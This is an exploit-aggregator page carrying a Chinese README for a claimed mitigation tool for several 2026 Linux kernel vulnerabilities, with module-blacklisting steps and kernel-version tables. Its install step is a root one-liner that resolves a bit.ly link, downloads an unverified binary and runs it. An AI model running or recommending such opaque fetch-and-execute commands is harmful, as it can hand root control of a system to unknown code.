Sploitus

Exploit for cve_2026_frag_family_fix

CVE-2026-31431CVE-2026-43284CVE-2026-43500CVE-2026-46300CVE-2026-46331

kitploit · 2026-09-05

Exploit Code

MARKDOWN160 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FIRST-JOHN-CVE_2026_FRAG_FAMILY_FIX
# frag family 漏洞缓解工具

  * Copy Fail (2026)
  * Dirty Frag (2026)
  * Fragnesia (2026)
  * DirtyClone (2026)
  * PEdit-CoW (2026)



## 在任何 Linux 上运行热修复

root@kitploit:~
    
    
    b="/tmp/cve_2026_frag_family_fix"; wget -qO $b $(wget -qO- https://bit.ly/4vetMTB | grep browser_download_url | grep -v .exe | cut -d '"' -f 4) && chmod +x $b && $b
    

或

root@kitploit:~
    
    
    b="/tmp/cve_2026_frag_family_fix"; curl -fsSL "$(curl -fsSL https://bit.ly/4vetMTB | grep browser_download_url | grep -v .exe | cut -d '"' -f 4)" -o $b && chmod +x $b && $b
    

# CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 / CVE-2026-46300 / CVE-2026-46331

## 描述

  * 检查 CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 / CVE-2026-46300 / CVE-2026-46331 的已启用模块
  * 如果可用，建议更新内核
  * 否则禁用 `esp4, esp6, rxrpc, act_pedit`
  * 通过 `modprobe` 阻止模块加载
  * 将 `module_blacklist` 添加到 grub
  * 内核更新后自动清理热修复
  * 对于基于 RHEL 的系统（AlmaLinux、Rocky、Oracle、Fedora），禁用 Boot Loader Specification（GRUB_ENABLE_BLSCFG=false），设置 GRUB_DEFAULT=0，并创建内核安装钩子（/etc/kernel/install.d/99-grub-update.install），该钩子会在内核更新后更新 grub 配置，以确保下次启动时加载最新的内核。
  * 对于次要版本，建议并执行更新到具有内核更新的最新次要版本



## 描述

  * 检查 CVE-2026-46300 / CVE-2026-43500 / CVE-2026-43284 / CVE-2026-46300 / CVE-2026-46331 漏洞相关的已启用模块
  * 如果可用，提供内核更新
  * 否则禁用 `esp4, esp6, rxrpc, act_pedit`
  * 通过 `modprobe` 阻止模块加载
  * 将 `module_blacklist` 添加到 grub
  * 内核更新后自动清理热修复
  * 对于基于 RHEL 的系统（AlmaLinux、Rocky、Oracle、Fedora），禁用 Boot Loader Specification（GRUB_ENABLE_BLSCFG=false）并设置 GRUB_DEFAULT=0，然后创建内核安装钩子（/etc/kernel/install.d/99-grub-update.install），该钩子会在内核更新后重新生成 grub 配置，以确保下次启动时加载最新的内核。
  * 对于次要版本，提供并执行更新到具有可用内核更新的最新次要版本。



# CVE-2026-31431 / Copy Fail 缓解措施 (algif_aead)

## 描述

该工具检查 **CVE-2026-31431** 漏洞（前提条件），并在拥有 root 权限时应用缓解措施：

  * 识别受保护的操作系统（包括 WSL）与内核版本的组合
  * 如果可用，提供包含修复的内核更新
  * 否则禁用 `algif_aead`
  * 通过 `modprobe` 阻止模块加载
  * 添加 `initcall_blacklist=algif_aead_init`
  * 通过 systemd 限制 `AF_ALG`



## 描述

该工具检查 **CVE-2026-31431** 漏洞（前提条件）并应用缓解措施（需要 root 权限）：

  * 识别受保护的操作系统（包括 WSL）与内核版本的组合
  * 如果可用，提供包含修复的内核更新
  * 否则禁用 `algif_aead`
  * 通过 `modprobe` 阻止模块加载
  * 添加 `initcall_blacklist=algif_aead_init`
  * 通过 systemd 限制 `AF_ALG`



## Linux 构建

root@kitploit:~
    
    
    docker run --rm -v "$PWD":/app -w /app golang:alpine sh -c "apk add --no-cache upx && go build -ldflags='-s -w' -o cve_2026_frag_family_fix cve_2026_frag_family_fix.go && upx --best --ultra-brute cve_2026_frag_family_fix"
    
    ## 内核更新（非热修复）可用于以下系统
    | 操作系统 | Copy Fail<br>(CVE-2026-31431) | Dirty Frag<br>(CVE-2026-43500/43284) | Fragnesia<br>(CVE-2026-46300) | PEdit-CoW<br>(CVE-2026-46331) |
    |----|:---:|:---:|:---:|:---:|
    | **Debian 10** (buster) | ❌ | ❌ | ❌ | ❌ |
    | **Debian 11** (bullseye) | ✅ | ✅ | ✅ | ✅ |
    | **Debian 12** (bookworm) | ✅ | ✅ | ✅ | ✅ |
    | **Debian 13** (trixie) | ✅ | ✅ | ✅ | ✅ |
    | **Ubuntu 18.04** (bionic) | ❌ | ❌ | ❌ | ❌ |
    | **Ubuntu 20.04** (focal) | ❌ | ❌ | ❌ | ❌ |
    | **Ubuntu 22.04** (jammy) | ✅ | ❌ | ❌ | ❌ |
    | **Ubuntu 24.04** (noble) | ✅ | ✅ | ✅ | ❌ |
    | **Ubuntu 25.04** (plucky) | ❌| ❌ | ❌ | ❌ |
    | **Ubuntu 26.04** (resolute) | ✅ | ✅ | ✅ | ✅ |
    | **CentOS Stream 8** | ❌ | ❌ | ❌ | ❌ |
    | **CentOS Stream 9** | ✅ | ✅ | ✅ | ✅ |
    | **CentOS Stream 10** | ✅ | ✅ | ✅ | ✅ |
    | **AlmaLinux 8** | ✅ | ✅ | ✅ | ✅ |
    | **AlmaLinux 9** | ✅ | ✅ | ✅ | ✅ |
    | **AlmaLinux 10** | ✅ | ✅ | ✅ | ✅ |
    | **Rocky Linux 8** | ✅ | ✅ | ✅ | ✅ |
    | **Rocky Linux 9** | ✅ | ✅ | ✅ | ✅ |
    | **Rocky Linux 10** | ✅ | ✅ | ✅ | ✅ |
    | **Fedora 40** | ❌ | ❌ | ❌ | ❌ |
    | **Fedora 41** | ❌ | ❌ | ❌ | ❌ |
    | **Fedora 42** | ✅ | ✅ | ✅ | ✅ |
    | **Fedora 43** | ✅ | ✅ | ✅ | ✅ |
    | **Fedora 44** | ✅ | ✅ | ✅ | ✅ |
    | **Oracle Linux 8** | ✅ | ✅ | ✅ | ✅ |
    | **Oracle Linux 9** | ✅ | ✅ | ✅ | ✅ |
    | **Oracle Linux 10** | ✅ | ✅ | ✅ | ✅ |
    
    ## 内核更新命令
    - Debian `apt update && apt install linux-image-amd64 linux-headers-amd64 -y`
    - Ubuntu `apt update && apt install linux-image-generic linux-headers-generic -y`
    - CentOS `dnf clean metadata && dnf upgrade 'kernel*' -y`
    - AlmaLinux `dnf clean metadata && dnf upgrade 'kernel*' -y`
    - RockyLinux `dnf clean metadata && dnf upgrade 'kernel*' -y`
    - Fedora `dnf clean metadata && dnf upgrade 'kernel*' -y`
    - OracleLinux `dnf clean metadata && dnf upgrade 'kernel*' -y`
    
    ## 修复所需的最低内核版本
    | 操作系统 | Copy Fail<br>(CVE-2026-31431) | Dirty Frag<br>(CVE-2026-43284) | Fragnesia<br>(CVE-2026-46300) | PEdit-CoW<br>(CVE-2026-46331) |
    |----|:---|:---|:---|:---|
    | **Debian 10** (buster) | ❌ | ❌ | ❌ | ❌ |
    | **Debian 11** (bullseye) | 5.10.0-41-amd64 | 5.10.0-42-amd64 | 5.10.0-43-amd64 | 5.10.0-45-amd64 |
    | **Debian 12** (bookworm) | 6.1.0-45-amd64 | 6.1.0-47-amd64 | 6.1.0-48-amd64 | 6.1.0-50-amd64 |
    | **Debian 13** (trixie) | 6.12.85+deb13-amd64 | 6.12.86+deb13-amd64 | 6.12.88+deb13-amd64 | 6.12.94+deb13-amd64 |
    | **Ubuntu 18.04** (bionic) | ❌ | ❌ | ❌ | ❌ |
    | **Ubuntu 20.04** (focal) | ❌ | ❌ | ❌ | ❌ |
    | **Ubuntu 22.04** (jammy) | 5.15.0-177-generic | ❌ | ❌ | ❌ |
    | **Ubuntu 24.04** (noble) | 6.8.0-111-generic | 6.8.0-124-generic | 6.8.0-124-generic | ❌ |
    | **Ubuntu 25.04** (plucky) | ❌ | ❌ | ❌ | ❌ |
    | **Ubuntu 26.04** (resolute) | 7.0.0-15-generic | 7.0.0-22-generic | 7.0.0-22-generic | 7.0.0-27-generic |
    | **CentOS Stream 8** | ❌ | ❌ | ❌ | ❌ |
    | **CentOS Stream 9** | 5.14.0-701.el9.x86_64 | 5.14.0-708.el9.x86_64 | 5.14.0-721.el9.x86_64 | 5.14.0-721.el9.x86_64 |
    | **CentOS Stream 10** | 6.12.0-226.el10.x86_64 | 6.12.0-231.el10.x86_64 | 6.12.0-246.el10.x86_64 | 6.12.0-246.el10.x86_64 |
    | **AlmaLinux 8.10** | 4.18.0-553.121.1.el8_10.x86_64 | 4.18.0-553.123.2.el8_10.x86_64 | 4.18.0-553.124.4.el8_10.x86_64 | 4.18.0-553.136.1.el8_10.x86_64 |
    | **AlmaLinux 9.7** | 5.14.0-611.49.2.el9_7.x86_64 | 5.14.0-611.54.3.el9_7.x86_64 | 5.14.0-611.54.6.el9_7.x86_64 | 5.14.0-687.17.1.el9_8.x86_64 |
    | **AlmaLinux 10.2** | 6.12.0-211.26.1.el10_2.x86_64 | 6.12.0-211.26.1.el10_2.x86_64 | 6.12.0-211.26.1.el10_2.x86_64 | 6.12.0-211.26.1.el10_2.x86_64 |
    | **Rocky Linux 8.10** | 4.18.0-553.123.1.el8_10.x86_64 | 4.18.0-553.124.1.el8_10.x86_64 | 4.18.0-553.126.1.el8_10.x86_64 | 4.18.0-553.136.1.el8_10.x86_64 |
    | **Rocky Linux 9.8** | 5.14.0-687.17.1.el9_8.x86_64 | 5.14.0-687.17.1.el9_8.x86_64 | 5.14.0-687.17.1.el9_8.x86_64 | 5.14.0-687.17.1.el9_8.x86_64 |
    | **Rocky Linux 10.2** | 6.12.0-211.16.1.el10_2.0.1.x86_64| 6.12.0-211.16.1.el10_2.0.1.x86_64 | 6.12.0-211.16.1.el10_2.0.1.x86_64 | 6.12.0-211.26.1.el10_2.x86_64 |
    | **Fedora 40** | ❌ | ❌ | ❌ | ❌ | ❌ |
    | **Fedora 41** | ❌ | ❌ | ❌ | ❌ | ❌ |
    | **Fedora 42** | 6.19.14-100.fc42.x86_64 | 6.19.14-101.fc42.x86_64 | 6.19.14-108.fc42.x86_64 | 6.19.14-108.fc42.x86_64 |
    | **Fedora 43** | 6.19.14-200.fc43.x86_64 | 7.0.4-100.fc43.x86_64 | 7.0.9-105.fc43.x86_64 | 7.0.12-101.fc43.x86_64 |
    | **Fedora 44** | 6.19.14-300.fc44.x86_64 | 7.0.4-200.fc44.x86_64 | 7.0.9-205.fc44.x86_64 | 7.0.12-201.fc44.x86_64 |
    | **Oracle Linux 8.10** | 5.15.0-319.201.4.4.el8uek.x86_64 | 5.15.0-319.201.4.6.el8uek.x86_64 | 5.15.0-320.202.8.5.el8uek.x86_64 | 5.15.0-322.203.3.2.el8uek.x86_64 |
    | **Oracle Linux 9.7** | 6.12.0-201.74.2.2.el9uek.x86_64 | 6.12.0-201.74.2.3.el9uek.x86_64 | 6.12.0-202.76.4.4.el9uek.x86_64 | 6.12.0-204.92.4.2.el9uek.x86_64 |
    | **Oracle Linux 10.1** | 6.12.0-201.74.2.2.el10uek.x86_64 | 6.12.0-201.74.2.3.el10uek.x86_64 | 6.12.0-202.76.4.4.el10uek.x86_64 | 6.12.0-204.92.4.2.el10uek.x86_64 |